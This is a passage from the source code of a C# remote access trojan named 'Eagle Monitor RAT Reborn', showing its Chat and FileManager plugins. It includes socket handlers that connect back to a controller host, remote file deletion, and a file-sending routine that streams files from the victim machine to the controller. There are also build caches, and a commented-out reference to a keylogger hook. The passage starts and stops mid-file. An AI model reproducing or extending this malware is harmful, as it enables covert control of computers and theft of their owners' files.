AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return size; } catch (Exception) { Connected = false; return 0; } } } private void SendDataCompleted(IAsyncResult ar) { sendDataAsync.EndInvoke(ar); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/Chat/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/Chat/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/Chat/FormPattern.cs ================================================ using System; using System.Drawing; using System.Runtime.InteropServices; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace EagleMonitor.Controls { public class FormPattern : Form { //https://stackoverflow.com/questions/2575216/how-to-move-and-resize-a-form-without-a-border public FormPattern() { this.FormBorderStyle = FormBorderStyle.None; // no borders this.DoubleBuffered = true; this.SetStyle(ControlStyles.ResizeRedraw | ControlStyles.OptimizedDoubleBuffer, true); // this is to avoid visual artifacts } private bool SizeableP = true; private int HighB = 32; private int OtherB = 3; private Color C = Color.FromArgb(94, 148, 255);//ColorTranslator.FromHtml("#00adef"); public Color BorderColor { get { return C; } set { C = value; this.Refresh(); } } public bool Sizeable { get { return SizeableP; } set { SizeableP = value; this.Refresh(); } } public int HighBorder { get { return HighB; } set { HighB = value; this.Refresh(); } } public int BordersSize { get { return OtherB; } set { OtherB = value; this.Refresh(); } } protected override void OnPaint(PaintEventArgs e) // you can safely omit this method if you want { //Color C = ColorTranslator.FromHtml("#00adef"); SolidBrush B = new SolidBrush(BorderColor); //e.Graphics.FillRectangle(Brushes.Green, Top); e.Graphics.FillRectangle(B, Top); e.Graphics.FillRectangle(B, Left); e.Graphics.FillRectangle(B, Right); e.Graphics.FillRectangle(B, Bottom); } private const int HTLEFT = 10, HTRIGHT = 11, HTTOP = 12, HTTOPLEFT = 13, HTTOPRIGHT = 14, HTBOTTOM = 15, HTBOTTOMLEFT = 16, HTBOTTOMRIGHT = 17; const int _ = 3; // you can rename this variable if you like new Rectangle Top { get { return new Rectangle(0, 0, this.ClientSize.Width, HighB); } } new Rectangle Left { get { return new Rectangle(0, 0, OtherB, this.ClientSize.Height); } } new Rectangle Bottom { get { return new Rectangle(0, this.ClientSize.Height - OtherB, this.ClientSize.Width, OtherB); } } new Rectangle Right { get { return new Rectangle(this.ClientSize.Width - OtherB, 0, OtherB, this.ClientSize.Height); } } Rectangle TopLeft { get { return new Rectangle(0, 0, OtherB, OtherB); } } Rectangle TopRight { get { return new Rectangle(this.ClientSize.Width - OtherB, 0, OtherB, OtherB); } } Rectangle BottomLeft { get { return new Rectangle(0, this.ClientSize.Height - OtherB, OtherB, OtherB); } } Rectangle BottomRight { get { return new Rectangle(this.ClientSize.Width - OtherB, this.ClientSize.Height - OtherB, OtherB, OtherB); } } new Padding Padding { get { return new Padding(OtherB, HighB, OtherB, OtherB); } } [DllImport("user32.dll")] public extern static IntPtr SendMessage(IntPtr a, int msg, int wParam, int lParam); private void InitializeComponent() { this.SuspendLayout(); // // FormPattern // this.ClientSize = new System.Drawing.Size(262, 239); this.Name = "FormPattern"; this.Load += new System.EventHandler(this.FormPattern_Load); this.ResumeLayout(false); } private void FormPattern_Load(object sender, EventArgs e) { } [DllImport("user32.dll")] public extern static bool ReleaseCapture(); public const int WM_NCLBUTTONDOWN = 0xA1; public const int HT_CAPTION = 0x2; protected override void WndProc(ref Message message) { try { base.WndProc(ref message); if (message.Msg == 0x84) // WM_NCHITTEST { if (SizeableP == true) { var cursor = this.PointToClient(Cursor.Position); if (TopLeft.Contains(cursor)) message.Result = (IntPtr)HTTOPLEFT; else if (TopRight.Contains(cursor)) message.Result = (IntPtr)HTTOPRIGHT; else if (BottomLeft.Contains(cursor)) message.Result = (IntPtr)HTBOTTOMLEFT; else if (BottomRight.Contains(cursor)) message.Result = (IntPtr)HTBOTTOMRIGHT; //else if (Top.Contains(cursor)) message.Result = (IntPtr)HTTOP; else if (Left.Contains(cursor)) message.Result = (IntPtr)HTLEFT; else if (Right.Contains(cursor)) message.Result = (IntPtr)HTRIGHT; else if (Bottom.Contains(cursor)) message.Result = (IntPtr)HTBOTTOM; } } } catch {} } protected override void OnMouseDown(MouseEventArgs e) { var cursor = this.PointToClient(Cursor.Position); if (0 <= cursor.Y && cursor.Y <= 30) { MoveForm_(); } base.OnMouseDown(e); } protected void MoveForm_() { ReleaseCapture(); SendMessage(this.FindForm().Handle, 161, 2, 0); } protected IntPtr MoveForm() { ReleaseCapture(); return SendMessage(this.FindForm().Handle, 161, 2, 0); } } } ================================================ FILE: Remote Access Tool/Plugins/Chat/FormPattern.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: Remote Access Tool/Plugins/Chat/Imports.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class Imports { #region "user32" private const string user32 = "user32.dll"; [DllImport(user32)] internal static extern int SetWindowCompositionAttribute(IntPtr hwnd, ref WindowCompositionAttributeData data); [DllImport(user32)] internal static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, Int32 X, Int32 Y, Int32 cx, Int32 cy, Int32 uFlags); [DllImport(user32)] internal static extern IntPtr PostMessage(IntPtr hWnd, WM_Message Msg, SC_Message wParam, IntPtr lParam); public enum WM_Message : uint { WM_DESTROY = 0x2, WM_CLOSE = 0x10, WM_SYSCOMMAND = 0x112, WM_SETTEXT = 0x000C, WM_APPCOMMAND = 0x0319 } public enum SC_Message : uint { NONE = 0, SC_CLOSE = 0xF060, SC_MAXIMIZE = 0xF030, SC_MINIMIZE = 0xF020, SC_RESTORE = 0xF120 } [StructLayout(LayoutKind.Sequential)] public partial struct MARGINS { public int Left; public int Right; public int Top; public int Bottom; } [StructLayout(LayoutKind.Sequential)] public struct WindowCompositionAttributeData { public WindowCompositionAttribute Attribute; public IntPtr Data; public int SizeOfData; } [StructLayout(LayoutKind.Sequential)] public struct AccentPolicy { public AccentState AccentState; public int AccentFlags; public int GradientColor; public int AnimationId; } public enum WindowCompositionAttribute { WCA_UNDEFINED = 0, WCA_NCRENDERING_ENABLED = 1, WCA_NCRENDERING_POLICY = 2, WCA_TRANSITIONS_FORCEDISABLED = 3, WCA_ALLOW_NCPAINT = 4, WCA_CAPTION_BUTTON_BOUNDS = 5, WCA_NONCLIENT_RTL_LAYOUT = 6, WCA_FORCE_ICONIC_REPRESENTATION = 7, WCA_EXTENDED_FRAME_BOUNDS = 8, WCA_HAS_ICONIC_BITMAP = 9, WCA_THEME_ATTRIBUTES = 10, WCA_NCRENDERING_EXILED = 11, WCA_NCADORNMENTINFO = 12, WCA_EXCLUDED_FROM_LIVEPREVIEW = 13, WCA_VIDEO_OVERLAY_ACTIVE = 14, WCA_FORCE_ACTIVEWINDOW_APPEARANCE = 15, WCA_DISALLOW_PEEK = 16, WCA_CLOAK = 17, WCA_CLOAKED = 18, WCA_ACCENT_POLICY = 19, WCA_FREEZE_REPRESENTATION = 20, WCA_EVER_UNCLOAKED = 21, WCA_VISUAL_OWNER = 22, WCA_HOLOGRAPHIC = 23, WCA_EXCLUDED_FROM_DDA = 24, WCA_PASSIVEUPDATEMODE = 25, WCA_LAST = 26 } public enum AccentState { ACCENT_DISABLED = 0, ACCENT_ENABLE_GRADIENT = 1, ACCENT_ENABLE_TRANSPARENTGRADIENT = 2, ACCENT_ENABLE_BLURBEHIND = 3, ACCENT_ENABLE_ACRYLICBLURBEHIND = 4, ACCENT_ENABLE_HOSTBACKDROP = 5, ACCENT_INVALID_STATE = 6 } public const int HWND_BOTTOM = 1; public const int HWND_NOTOPMOST = -2; public const int HWND_TOP = 0; public const int HWND_TOPMOST = -1; public const Int32 SWP_NOSIZE = 0x1; public const Int32 SWP_NOMOVE = 0x2; public const Int32 SWP_NOREDRAW = 0x8; public const Int32 SWP_DEFERERASE = 0x2000; #endregion } } ================================================ FILE: Remote Access Tool/Plugins/Chat/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System.Threading; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { internal static ClientHandler clientHandler; internal static ChatForm chatForm; internal static Thread threadForm; public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.CHAT_ON: clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID); clientHandler.ConnectStart(); while (clientHandler.Connected == false) Thread.Sleep(100); threadForm = new Thread(Launch.StartChatForm); threadForm.SetApartmentState(ApartmentState.STA); threadForm.Start(); break; default: return; } Miscellaneous.CleanMemory(); } internal static void StartChatForm() { Launch.chatForm = new ChatForm("Eagle Monitor RAT Reborn Chat"); Launch.chatForm.InitializeComponent(); Application.Run(Launch.chatForm); } internal static void ExitChatForm() { clientHandler.Dispose(); chatForm.Invoke((MethodInvoker)(() => { chatForm?.Close(); chatForm?.Dispose(); })); } } } ================================================ FILE: Remote Access Tool/Plugins/Chat/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Chat")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Chat")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("773a4d23-189d-4353-bf37-515591e16f5a")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/Chat/Properties/Resources.Designer.cs ================================================ //------------------------------------------------------------------------------ // // Ce code a été généré par un outil. // Version du runtime :4.0.30319.42000 // // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si // le code est régénéré. // //------------------------------------------------------------------------------ namespace Plugin.Properties { using System; /// /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. /// // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder // à l'aide d'un outil, tel que ResGen ou Visual Studio. // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen // avec l'option /str ou régénérez votre projet VS. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Plugin.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// /// Remplace la propriété CurrentUICulture du thread actuel pour toutes /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } /// /// Recherche une ressource localisée de type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap eagle2 { get { object obj = ResourceManager.GetObject("eagle2", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } } } ================================================ FILE: Remote Access Tool/Plugins/Chat/Properties/Resources.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ..\Resources\eagle2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ================================================ FILE: Remote Access Tool/Plugins/Chat/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.CoreCompileInputs.cache ================================================ 378fd228abd525a11ee370b3c55b543ffcd07053 ================================================ FILE: Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Chat.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Plugin.ChatForm.resources D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\EagleMonitor.Controls.FormPattern.resources D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.csproj.GenerateResource.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Plugin.Properties.Resources.resources E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Plugin.ChatForm.resources E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\EagleMonitor.Controls.FormPattern.resources E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Plugin.Properties.Resources.resources E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.csproj.GenerateResource.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Chat.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Chat\obj\Release\Chat.csproj.Fody.CopyLocal.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.ChatForm.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\EagleMonitor.Controls.FormPattern.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.Properties.Resources.resources C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.GenerateResource.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\Chat.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.Fody.CopyLocal.cache C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\Chat.dll C:\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.ChatForm.resources C:\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\EagleMonitor.Controls.FormPattern.resources C:\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.Properties.Resources.resources C:\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.GenerateResource.cache C:\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.Fody.CopyLocal.cache C:\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Chat.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.ChatForm.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\EagleMonitor.Controls.FormPattern.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.Properties.Resources.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.GenerateResource.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.Fody.CopyLocal.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Chat.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.ChatForm.resources F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\EagleMonitor.Controls.FormPattern.resources F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.Properties.Resources.resources F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.GenerateResource.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.Fody.CopyLocal.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Chat.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.ChatForm.resources E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\EagleMonitor.Controls.FormPattern.resources E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Plugin.Properties.Resources.resources E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.GenerateResource.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.csproj.Fody.CopyLocal.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Chat\obj\Release\Chat.dll ================================================ FILE: Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Chat/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/Chat/packages.config ================================================  ================================================ FILE: Remote Access Tool/Plugins/FileManager/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public bool closeClient { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public ClientHandler(Host host, string key) : base() { this.host = host; this.key = key; sendDataAsync = new SendDataAsync(SendData); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (!Connected) { ConnectStart(); } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { try { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectWrite); byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return size; } } catch (Exception ex) { Connected = false; return 0; } } private void SendDataCompleted(IAsyncResult ar) { int size = sendDataAsync.EndInvoke(ar); this.Dispose(); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/DeleteFile.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class DeleteFile { internal static Tuple RemoveFile(string path) { try { System.IO.File.Delete(path); return Tuple.Create(path, true); } catch { } return Tuple.Create(path, false); } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/DownloadClientHandler.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class DownloadClientHandler : IDisposable { internal readonly int BUFFER_CHUNK_SIZE = 524288;//524288 (1024 * 512) // 1048576 = 1MB (1024*1024) // 2097152 (1024 * 2048) // 4194304 (2048 * 2048) public LoadingAPI loadingAPI { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public long fileTicket { get; set; } public bool hasToExit { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public delegate byte[] ReadDataAsync(); public delegate IPacket ReadPacketAsync(byte[] BufferPacket); public ReadDataAsync readDataAsync; public ReadPacketAsync readPacketAsync; public DownloadClientHandler(LoadingAPI loadingAPI, long fileTicket, int bufferSize = 524288) : base() { this.loadingAPI = loadingAPI; this.fileTicket = fileTicket; BUFFER_CHUNK_SIZE = bufferSize; sendDataAsync = new SendDataAsync(SendData); readDataAsync = new ReadDataAsync(ReceiveData); readPacketAsync = new ReadPacketAsync(PacketParser); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(loadingAPI.Host.host, loadingAPI.Host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (!Connected) { ConnectStart(); } /*else { Receive(); }*/ } public void Receive() { if (hasToExit) { this.Dispose(); return; } if (Connected) readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); else ConnectStart(); } private byte[] ReceiveData() { try { int total = 0; int recv; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectRead); recv = socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception) { if (Connected) hasToExit = true; Connected = false; return null; } } public void EndDataRead(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); if (data != null && data.Length > 0 && Connected) readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); Receive(); } private IPacket PacketParser(byte[] BufferPacket) { return BufferPacket.DeserializePacket(loadingAPI.Key); } public void EndPacketRead(IAsyncResult ar) { IPacket packet = readPacketAsync.EndInvoke(ar); ParsePacket(packet); } public void ParsePacket(IPacket packet) { return; /*switch (packet.packetType) { case PacketType.KEYLOG_OFF: this.hasToExit = true; KeyLib.Hook.AbortHook(); break; }*/ } internal void StartSendingFile(string filePath) { using (Stream source = File.OpenRead(filePath)) { byte[] buffer = new byte[BUFFER_CHUNK_SIZE];//1MB int bytesRead = 0; long totalSize = new FileInfo(filePath).Length; if (totalSize > BUFFER_CHUNK_SIZE) { while ((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) { Thread.Sleep(100); DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.BaseIp, loadingAPI.HWID, this.fileTicket); IAsyncResult ar = sendDataAsync.BeginInvoke(packetFile, null, null); Thread.Sleep(75); int size = sendDataAsync.EndInvoke(ar); totalSize -= bytesRead; if (totalSize < 